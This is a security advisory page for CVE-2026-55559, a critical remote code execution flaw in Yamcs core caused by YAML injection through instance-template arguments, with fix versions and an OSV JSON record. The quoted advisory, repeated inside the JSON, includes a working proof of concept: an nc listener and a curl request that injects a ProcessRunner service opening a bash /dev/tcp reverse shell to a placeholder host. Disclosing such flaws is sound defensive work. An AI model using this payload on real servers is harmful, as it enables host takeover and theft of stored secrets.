CVE-2026-55559: Yamcs core Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-73mf-m39p-wpm9
CVSS 9.8
CWE-470 CWE-94 CWE-1336
Published
Advisory Summary

CVE-2026-55559 is a CRITICAL (CVSS 9.8) remote code execution vulnerability (CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')) affecting Yamcs core libraries in the Maven ecosystem. The issue involves yamcs vulnerable to remote code execution via instance-template argument yaml injection (createinstance). Remediation is available by upgrading affected packages to version 5.13.2, 5.12.8.

CVE-2026-55559 at a Glance

CVE Identifier CVE-2026-55559
GHSA Identifier GHSA-73mf-m39p-wpm9
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
Affected Product Yamcs core
Package Ecosystem Maven
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-55559

To remediate this vulnerability, upgrade all affected Yamcs core dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

org.yamcs:yamcs-core fixed: 5.13.2
<dependency>
    <groupId>org.yamcs</groupId>
    <artifactId>yamcs-core</artifactId>
    <version>5.13.2</version>
</dependency>
org.yamcs:yamcs-core fixed: 5.12.8
<dependency>
    <groupId>org.yamcs</groupId>
    <artifactId>yamcs-core</artifactId>
    <version>5.12.8</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=org.yamcs

How to Check if You Are Affected

To determine whether your Java application is affected by CVE-2026-55559, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=org.yamcs

Analyze the terminal output to locate any version of Yamcs core in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.13.2), your application is affected.

Note: The mvn dependency:tree -Dincludes=org.yamcs command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection'), where the product uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code. In Yamcs core, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `templateArgs` sent to `POST /api/instances` (and `PATCH /api/instances/{instance}`) are written into the rendered instance config as raw text, then parsed as YAML and loaded. Yamcs instantiates each `services:` entry by its `class:`, so injecting YAML through a template arg lets you add a `services:` entry for `org.yamcs.ProcessRunner` and run a command on the host. The args aren't escaped for YAML or validated server-side. Needs the `CreateInstances` privilege. With no `security.yaml` the `guest` user is `superuser=true` and the API is unauthenticated, so it's reachable without auth, same default exposure as CVE-2026-46562. The 5.12.7 algorithm-edit fix doesn't touch this path. ### Details `VarStatement` appends arg values with no escaping: ```java // yamcs-core/src/main/java/org/yamcs/templating/VarStatement.java:29 buf.append(value); ``` The only filter, `EscapeFilter`, does HTML escaping (`& < > ' "`) and leaves newlines, colons and indentation alone, so `{{ x | escape }}` doesn't help either. `InstancesApi.createInstance` forwards the args without checking them against the declared variables; the `choices` / `required` metadata is only used to render the web form. Request to exec: `InstancesApi.createInstance` (`http/api/InstancesApi.java:169`, checks `CreateInstances`) → `YamcsServer.createInstance` (`YamcsServer.java:651`, `template.process(templateArgs)`) → rendered config loaded as `YConfiguration` → `YamcsServerInstance` instantiates `services:` by `class:` (`YamcsServerInstance.java:75,88`, via `YObjectLoader`) → `org.yamcs.ProcessRunner` runs `new ProcessBuilder(command).start()` (`ProcessRunner.java:81-82`). `createInstance` has no field for a class name or raw config, and no other API instantiates an arbitrary class at runtime (`ServicesApi` only starts/stops existing ones), so the template arg is the only way in. A fix would be to validate `templateArgs` (reject newlines / control characters, enforce the declared `choices` / `required`) and/or escape substituted values for the YAML context. ### PoC Run the shipped example: `./run-example.sh templates`. It serves `HttpServer` on 8090 with no `security.yaml`, so guest is superuser and the API is unauthenticated. Its `example` template puts `{{ spaceSystem }}` into `name: "..."`. Listener: ``` nc -lvnp 4444 ``` Request (set `<LHOST>` / `<LPORT>` to the listener): ```bash curl -i -X POST http://<target>:8090/api/instances \ -H 'Content-Type: application/json' \ -d '{ "name": "pwned", "template": "example", "templateArgs": { "spaceSystem": "x\"\nservices:\n - class: org.yamcs.ProcessRunner\n args:\n command: [\"bash\", \"-c\", \"exec 3<>/dev/tcp/<LHOST>/<LPORT>; sh -i <&3 >&3 2>&3\"]\n#", "bar": "Option 2" } }' ``` Returns 200; the new instance starts the injected ProcessRunner, which connects back to the listener with a shell running as the Yamcs user (`id` shows the service account). The arg closes the `name: "..."` quote, adds a top-level `services:` (which overrides the template's `services: []`, last key wins in SnakeYAML), and ends with `#` to comment out the trailing `"`. With `security.yaml` it's the same request with a bearer token. This works for a user whose only privilege is `CreateInstances`: that user gets 403 (`Missing system privilege 'ChangeMissionDatabase'`) on the algorithm-override path but 200 here. ### Impact Command execution as the Yamcs service account. That includes reading `secretKey` from `etc/yamcs.yaml` (which lets you mint tokens for any user including a superuser), reading other secrets (LDAP bind, OIDC client secret, TLS keys), and reading or tampering with telemetry and command history for every instance on the box. It needs `CreateInstances`, or no auth at all in the default config. On a server that delegates that privilege to operators who shouldn't have a shell, or that runs without `security.yaml`, this is host takeover from the API.

CVE-2026-55559 Affected Yamcs core Versions

2 component(s)
Fixed Versions:
5.13.25.12.8
Product / Package Ecosystem Affected Versions Fixed Version
org.yamcs:yamcs-core
Maven
≥ 5.13.0
< 5.13.2
5.13.2
org.yamcs:yamcs-core
Maven
< 5.12.8
5.12.8

References

Frequently Asked Questions

What is CVE-2026-55559?
CVE-2026-55559 is a security vulnerability in Yamcs core involving Yamcs vulnerable to Remote Code Execution via instance-template argument YAML injection (createInstance) under CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection').
Which Yamcs core versions are affected?
Affected versions include releases prior to 5.13.2, 5.12.8 across affected packages: org.yamcs:yamcs-core.
What version fixes CVE-2026-55559?
Upgrading to 5.13.2, 5.12.8 (or the latest patched release for your respective branch) resolves the vulnerability.
Is yamcs-core affected?
Yes, org.yamcs:yamcs-core is affected in releases prior to 5.13.2, 5.12.8. Upgrade your dependency to 5.13.2, 5.12.8 or later.
What is the CVSS score of CVE-2026-55559?
CVE-2026-55559 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-55559?
CVE-2026-55559 is classified under CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') (The product uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code.).
How can I check Maven dependencies for CVE-2026-55559?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=org.yamcs'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-73mf-m39p-wpm9",
  "modified" : "2026-08-28T17:23:04Z",
  "published" : "2026-08-28T17:23:04Z",
  "aliases" : [ "CVE-2026-55559" ],
  "summary" : "Yamcs vulnerable to Remote Code Execution via instance-template argument YAML injection (createInstance)",
  "details" : "### Summary\n\n`templateArgs` sent to `POST /api/instances` (and `PATCH /api/instances/{instance}`) are written into the rendered instance config as raw text, then parsed as YAML and loaded. Yamcs instantiates each `services:` entry by its `class:`, so injecting YAML through a template arg lets you add a `services:` entry for `org.yamcs.ProcessRunner` and run a command on the host. The args aren't escaped for YAML or validated server-side.\n\nNeeds the `CreateInstances` privilege. With no `security.yaml` the `guest` user is `superuser=true` and the API is unauthenticated, so it's reachable without auth, same default exposure as CVE-2026-46562. The 5.12.7 algorithm-edit fix doesn't touch this path.\n\n### Details\n\n`VarStatement` appends arg values with no escaping:\n\n```java\n// yamcs-core/src/main/java/org/yamcs/templating/VarStatement.java:29\nbuf.append(value);\n```\n\nThe only filter, `EscapeFilter`, does HTML escaping (`& < > ' \"`) and leaves newlines, colons and indentation alone, so `{{ x | escape }}` doesn't help either. `InstancesApi.createInstance` forwards the args without checking them against the declared variables; the `choices` / `required` metadata is only used to render the web form.\n\nRequest to exec:\n`InstancesApi.createInstance` (`http/api/InstancesApi.java:169`, checks `CreateInstances`)\n→ `YamcsServer.createInstance` (`YamcsServer.java:651`, `template.process(templateArgs)`)\n→ rendered config loaded as `YConfiguration`\n→ `YamcsServerInstance` instantiates `services:` by `class:` (`YamcsServerInstance.java:75,88`, via `YObjectLoader`)\n→ `org.yamcs.ProcessRunner` runs `new ProcessBuilder(command).start()` (`ProcessRunner.java:81-82`).\n\n`createInstance` has no field for a class name or raw config, and no other API instantiates an arbitrary class at runtime (`ServicesApi` only starts/stops existing ones), so the template arg is the only way in.\n\nA fix would be to validate `templateArgs` (reject newlines / control characters, enforce the declared `choices` / `required`) and/or escape substituted values for the YAML context.\n\n### PoC\n\nRun the shipped example: `./run-example.sh templates`. It serves `HttpServer` on 8090 with no `security.yaml`, so guest is superuser and the API is unauthenticated. Its `example` template puts `{{ spaceSystem }}` into `name: \"...\"`.\n\nListener:\n\n```\nnc -lvnp 4444\n```\n\nRequest (set `<LHOST>` / `<LPORT>` to the listener):\n\n```bash\ncurl -i -X POST http://<target>:8090/api/instances \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"name\": \"pwned\",\n    \"template\": \"example\",\n    \"templateArgs\": {\n      \"spaceSystem\": \"x\\\"\\nservices:\\n  - class: org.yamcs.ProcessRunner\\n    args:\\n      command: [\\\"bash\\\", \\\"-c\\\", \\\"exec 3<>/dev/tcp/<LHOST>/<LPORT>; sh -i <&3 >&3 2>&3\\\"]\\n#\",\n      \"bar\": \"Option 2\"\n    }\n  }'\n```\n\nReturns 200; the new instance starts the injected ProcessRunner, which connects back to the listener with a shell running as the Yamcs user (`id` shows the service account). The arg closes the `name: \"...\"` quote, adds a top-level `services:` (which overrides the template's `services: []`, last key wins in SnakeYAML), and ends with `#` to comment out the trailing `\"`.\n\nWith `security.yaml` it's the same request with a bearer token. This works for a user whose only privilege is `CreateInstances`: that user gets 403 (`Missing system privilege 'ChangeMissionDatabase'`) on the algorithm-override path but 200 here.\n\n### Impact\n\nCommand execution as the Yamcs service account. That includes reading `secretKey` from `etc/yamcs.yaml` (which lets you mint tokens for any user including a superuser), reading other secrets (LDAP bind, OIDC client secret, TLS keys), and reading or tampering with telemetry and command history for every instance on the box.\n\nIt needs `CreateInstances`, or no auth at all in the default config. On a server that delegates that privilege to operators who shouldn't have a shell, or that runs without `security.yaml`, this is host takeover from the API.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.yamcs:yamcs-core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.13.0"
      }, {
        "fixed" : "5.13.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.13.1"
    }
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.yamcs:yamcs-core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.12.8"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.12.7"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/yamcs/yamcs/security/advisories/GHSA-73mf-m39p-wpm9"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/yamcs/yamcs/commit/549f295cf8c5496a5e799d6bec2432ef976c82aa"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/yamcs/yamcs/commit/7192da1c49bdf5ab1d72e579a47766a7c43e87c8"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/yamcs/yamcs"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1336", "CWE-470", "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-28T17:23:04Z",
    "nvd_published_at" : null
  }
}